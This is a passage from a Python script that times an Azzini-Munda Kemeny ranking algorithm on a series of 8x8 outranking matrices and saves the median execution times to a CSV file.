[968,1025,981,992,1001,1027,959,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 195, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1016,1019,1030,1019,989,1020,994], [985,0,990,1004,970,999,983,981], [982,1011,0,990,993,1026,986,993], [971,997,1011,0,981,983,1007,957], [982,1031,1008,1020,0,997,1014,989], [1012,1002,975,1018,1004,0,1008,1012], [981,1018,1015,994,987,993,0,985], [1007,1020,1008,1044,1012,989,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 196, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1080,917,1026,939,1032,952,1167], [921,0,861,1047,863,981,866,924], [1084,1140,0,983,983,1051,1071,1171], [975,954,1018,0,939,992,927,1103], [1062,1138,1018,1062,0,1121,984,1153], [969,1020,950,1009,880,0,828,1083], [1049,1135,930,1074,1017,1173,0,992], [834,1077,830,898,848,918,1009,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 197, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,994,1024,993,960,979,976,1006], [1007,0,1037,988,1005,1023,1009,1004], [977,964,0,955,942,947,982,997], [1008,1013,1046,0,1022,997,1027,1032], [1041,996,1059,979,0,1037,1042,1032], [1022,978,1054,1004,964,0,1004,1013], [1025,992,1019,974,959,997,0,991], [995,997,1004,969,969,988,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 198, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,917,995,1137,1043,1127,1143,1108], [1084,0,1044,1031,977,1035,1119,1057], [1006,957,0,1055,803,1038,1186,1127], [864,970,946,0,1036,1067,1131,921], [958,1024,1198,965,0,1129,1182,1127], [874,966,963,934,872,0,985,1064], [858,882,815,870,819,1016,0,945], [893,944,874,1080,874,937,1056,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 199, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,955,948,891,955,824,966,911], [1046,0,1138,1092,891,1269,1192,1032], [1053,863,0,950,856,1216,1069,832], [1110,909,1051,0,948,1109,1141,705], [1046,1110,1145,1053,0,1288,1246,971], [1177,732,785,892,713,0,998,917], [1035,809,932,860,755,1003,0,736], [1090,969,1169,1296,1030,1084,1265,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 200, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) pd.DataFrame(results).to_csv("/Users/noeliarico/Desktop/folder-kemeny/ejor/results/meprcw/meprcw_8_2001.csv", index=False, header=False)

[ "noeliarico@uniovi.es" ]

noeliarico@uniovi.es